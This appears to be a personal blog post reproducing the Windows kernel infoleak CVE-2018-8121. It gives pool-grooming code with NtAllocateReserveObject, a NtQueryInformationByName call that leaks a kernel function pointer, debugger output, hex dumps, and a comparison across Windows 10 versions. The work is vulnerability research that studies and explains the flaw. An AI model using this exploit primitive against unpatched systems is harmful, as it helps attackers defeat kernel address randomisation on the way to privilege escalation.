I have not written for a long time… It’s nothing new, but it made me want to write something for the blog.

I was reading the 44con’s talk: “Subverting Direct X KernelFor Gaining Remote System”[1] And I said myself, I’ll try to do the infoleak, CVE-2018-8121[2].

CVE-2018-8121

The infoleak consists in get uninitialized memory in a userland buffer. When We reserve memory in the Nonpaged pool using nt!NtAllocateReserveObject function and free that pool chunk to alloc a new pool chunk, a nt function pointer remains in it.
By calling nt!IoQueryInformationByName the whole content of that pool chunk could be read in a userland buffer.

0: kd> !pool ffffe781aa2c5150
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page ffffe781aa2c5150 region is Nonpaged pool
...
*FFFFE781AA2C50F0 size: c0 previous size: 10 (Allocated) *IoCo

when it has been freed:

0: kd> !pool ffffe781aa2c5150
Pool page ffffe781aa2c5150 region is Nonpaged pool
...
*FFFFE781AA2C50F0 size: c0 previous size: 10 (Free ) *IoCo
0: kd> dps ffffe781aa2c5150
...
ffffe781`aa2c51e0 fffff800`440dfa90 nt!PspIoMiniPacketCallbackRoutine

Below I show the steps for doing what  was described above:

Alloc a pool chunk and free some, leave free chunks with 0xC0 size.

for (int i = 0; i < 0x7000; i++) {
  NtAllocateReserveObject(&phReserve1[i], NULL, IoCo);
}

for (int i = 0; i < 0x700; i++) {
  CloseHandle(phReserve1[i * 0x10]);
}

for (int i = 0; i < 0x7000; i++) {
  NtAllocateReserveObject(&phReserve2[i], NULL, IoCo);
}

for (int i = 0; i < 0x700; i++) {
  CloseHandle(phReserve2[i * 0x10]);
}

Alloc in the same free pool chunk.

again:
char arg2[0x200] = { 0 };
char arg3[0x200] = { 0 };
OBJECT_ATTRIBUTES objattr = { 0 };

NtQueryInformationByName(&objattr, (PIO_STATUS_BLOCK)arg2, arg3, 0xB0, (FILE_INFORMATION_CLASS)0x44); /* FileStatInformation */
DT leak = *(DT *)(arg3 + 0x90)
printf("pointer leak 0x%llx\n", leak);

for (int i = 0; i < 0x30; i++) {
    NtAllocateReserveObject(&phReserve3[i], NULL, IoCo);
}

for (int i = 0; i < 0x30; i++) {
    CloseHandle(phReserve3[i]);
}

if( /* heuristic */){
    return leak;
}

goto again;

If we succeed, the pool chunk allocated is the same chunk.

1: kd> g
Breakpoint 1 hit
nt!IoQueryInformationByName+0x1b9:
fffff800`442b37d9 e87250b4ff call nt!IopVerifierExAllocatePoolWithQuota (fffff800`43df8850)
1: kd> p;r rax
rax=ffffe781aa2c5150
1: kd> dps ffffe781aa2c5150
...
ffffe781`aa2c51e0 fffff800`440dfa90 nt!PspIoMiniPacketCallbackRoutine

And we can got the nt!PspIoMiniPacketCallbackRoutine virtual kernel address in our user-land buffer.

00000072C236FBE0 00 00 00 00 00 00 00 00 00 00 00 00 00 F8 FF FF .............øÿÿ
00000072C236FBF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000072C236FC00 03 00 09 0E 49 6F 20 20 69 E8 49 5C 8F E6 26 2A ....Io ièI\.æ&*
00000072C236FC10 48 00 00 00 00 00 00 00 1C 00 00 00 E8 03 00 00 H...........è...
00000072C236FC20 00 00 00 00 3C 00 00 00 00 00 00 00 00 00 00 00 ....<...........
00000072C236FC30 50 F7 F9 8C 6A 00 00 00 00 00 00 00 00 00 00 00 P÷ù.j...........
00000072C236FC40 3C 00 00 00 00 00 00 00 00 00 00 00 50 F7 F9 8C <...........P÷ù.
00000072C236FC50 6A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 j...............
00000072C236FC60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000072C236FC70 90 FA 0D 44 00 F8 FF FF A0 51 2C AA 81 E7 FF FF .ú.D.øÿÿ Q,ª.çÿÿ
00000072C236FC80 00 00 00 00 00 00 00 00 78 00 65 00 00 00 00 00 ........x.e.....

How is this possible?

The nt!IopVerifierExAllocatePoolWithQuota_3 function alloc a pool chunk with a size controlled by us, calling nt!ObOpenObjectByNameEx fails,
and the pool chunk is not sanitized. Finally the pool chunk content is copy to our user-land buffer, getting an nt address infoleak.

nt!IoQueryInformationByName (win10 1709)
...
if ( (unsigned __int64)user_buffer <= 0x7FFFFFFEFFFFi64 )
P = (PVOID)IopVerifierExAllocatePoolWithQuota_3(v13, _size);
else
P = user_buffer;
v17 = __readgsqword(0x188u);
++*(_QWORD *)(v17 + 1464);
__incgsdword(0x2EE4u);
v18 = ObOpenObjectByNameEx((__int64)IoFileObjectType, v10, (__int64)Src, v11, 0i64);
IopCleanupExtraCreateParameters(&Dst);
if ( v22 == 0xBEAA0251 )
v18 = v21;
v19 = P;
if ( user_buffer != P )
{
memmove(user_buffer, P, (unsigned int)Size);
ExFreePoolWithTag(v19, 0);
}

Does it work in all Windows 10 version ?

No. If we see the description in the Windows advisory page[2], the infoleak exists in windows 10 1703, 1709 and 1803, but it doesn’t work in all mentioned versions.

Windows 10 1703

In this version something curious happens, in the function’s prologue. If the calling is from user-mode[3][4] only return a error code X_X.

__int64 __fastcall IoQueryInformationByName(...
{
...
PreviousMode = KeGetPreviousMode(); /* [3][4] */
if ( PreviousMode ) /* KernelMode = 0, UserMode = 1*/
return 0xC00000BBi64;

Windows 10 1709

It works perfectly! The reason was mentioned above.

Windows 10 1803

When nt!ObOpenObjectByNameEx function fails, in 1709 nothing happens, but in 1803 the behaviour is different, that function return an error code in int v19, for example 0xC000000D. So, verification (v19 >= 0) is not fulfilled, and the pool chunk is never copied to our user-land buffer.

      v19 = ObOpenObjectByNameEx((__int64)IoFileObjectType, arg1, 40i64, v11, 0i64);
      IopCleanupExtraCreateParameters(&Dst);
      if ( v24 == 0xBEAA0251 )
        v19 = v23;
      v20 = P;
      if ( user_buffer != P )
      {
        if ( v19 >= 0 )
          memmove(user_buffer, P, (unsigned int)Size);
        ExFreePoolWithTag(v20, 0);
      }

I tried to comply with the condition setting “correct” arguments.

RtlInitUnicodeString(&wzObjectName, L"\\DosDevices\\C:\\WINDOWS");
InitializeObjectAttributes(&objattr, &wzObjectName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, NULL);
NtQueryInformationByName(&objattr, (PIO_STATUS_BLOCK)arg2, arg3, 0xB0-2, (FILE_INFORMATION_CLASS)0x44); // FileStatInformation

And the calling to nt!ObOpenObjectByNameEx fails, too! :(, but v24 is  being setted with 0xBEAA0251 const, then the condition is fulfilled (v24 == 0xBEAA0251) and v19 is setted to 0. How does this happen? I don’t know.
I tried setting a hardware breakpoint on read/write but it never stopped when that value was written :(. If you know, please tell me. So, the pool chunk contents is copy to our user-land buffer! but it wasn’t satisfactory.

0000002C654FF840  14 06 00 00 00 00 01 00 16 29 0C B1 D8 D1 D3 01  .........).±ØÑÓ.  
0000002C654FF850  1E 1A ED 56 7A 11 D5 01 46 4F 3A 14 C8 BC D4 01  ..íVz.Õ.FO:.ȼÔ.  
0000002C654FF860  46 4F 3A 14 C8 BC D4 01 00 70 00 00 00 00 00 00  FO:.ȼÔ..p......  
0000002C654FF870  00 70 00 00 00 00 00 00 10 00 00 00 00 00 00 00  .p..............  
0000002C654FF880  01 00 00 00 A9 00 12 00 00 00 00 00 00 00 00 00  ....©...........  

I think those values are result of request and same result is in windows 10 1709.

All credits to RanchoIce.

[1]https://github.com/RanchoIce/44Con2018
[2]https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8121
[3]https://github.com/Zer0Mem0ry/ntoskrnl/blob/a1eded2d8efb071685e1f3cc59a1054f8545b73a/Include/ntosdef.h#L126
[4]https://doxygen.reactos.org/d7/deb/xdk_2ketypes_8h_source.html